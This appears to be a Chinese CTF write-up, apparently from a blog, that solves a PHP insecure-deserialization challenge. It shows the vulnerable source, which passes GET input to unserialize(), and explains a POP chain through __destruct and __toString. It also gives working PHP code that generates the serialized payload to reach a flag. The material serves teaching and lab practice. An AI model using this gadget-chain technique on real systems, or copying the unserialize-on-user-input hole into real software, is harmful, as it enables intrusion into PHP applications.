审计代码
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php
error_reporting(0); show_source("index.php");
class w44m{
private $admin = 'aaa'; protected $passwd = '123456';
public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } }
class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } }
class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; } }
$w00m = $_GET['w00m']; unserialize($w00m);
?>
|
审计代码
在这段代码中看到两个魔法函数我们需要利用这两个魔法函数去构造一下pop链
先明确一下pop链
1
| w22m::__destruct()->w33m::__toString()->w44m::Getflag()
|
然后明确一下我们构造paylaod的思路
解题思路
1.需要反序列化一个w22m类的对象(因为这个类的对象在代码结束时会自动调用)
2.因为w22m类只有一个属性w00m,而且在反序列化时我们只能利用对象的属性,所以这个属性我们需要充分利用一下
因为__toString这个魔法函数只有在包含这个魔法函数对应的类的对象被当作字符串使用时才会调用所有我们需要利用w22m类中的w00m这个属性再创建一个针对w33m类的对象(方便我们下面对这个类的属性进行有用的篡改)
$this->w00m->{$this->w22m}();
->{...}():动态调用对象的方法
也就是w00m对象调用w22m方法
1 2 3 4 5 6 7 8 9
| 在我们的代码中我们除了一个两个魔法函数还看到一个至关重要的能够输出flag的函数
那么我们在已经触发__toString函数的前提下篡改一下w33m类下的两个属性
(1)将w00m属性篡改成包含Getflag()函数的类的对象(也就是w44m)的对象
```php $a->w00m->w00m=new w44m;
|
(2)将w22m属性篡改成我们需要利用的函数也就是(Getflag函数)
1
| $a->w00m->w22m="Getflag";
|
4.最后输出序列化的对象a
1
| echo urlencode(serialize($a));
|
因为变量前是protected,则会在变量名前加上\x00*\x00,
若是private,则会在变量名前加上\x00类名\x00,输出时一般需要url编码
生成payload的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php class w44m{
private $admin = 'w44m'; protected $passwd = '08067';
}
class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } }
class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; } } $a=new w22m; $a->w00m=new w33m; $a->w00m->w00m=new w44m; $a->w00m->w22m="Getflag"; echo urlencode(serialize($a));
?>
|
最后get传参w00m的内容为$a序列化后的内容
传参传到源代码中之后经过
1 2
| $w00m = $_GET['w00m']; unserialize($w00m);
|
反序列化
得到flag
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~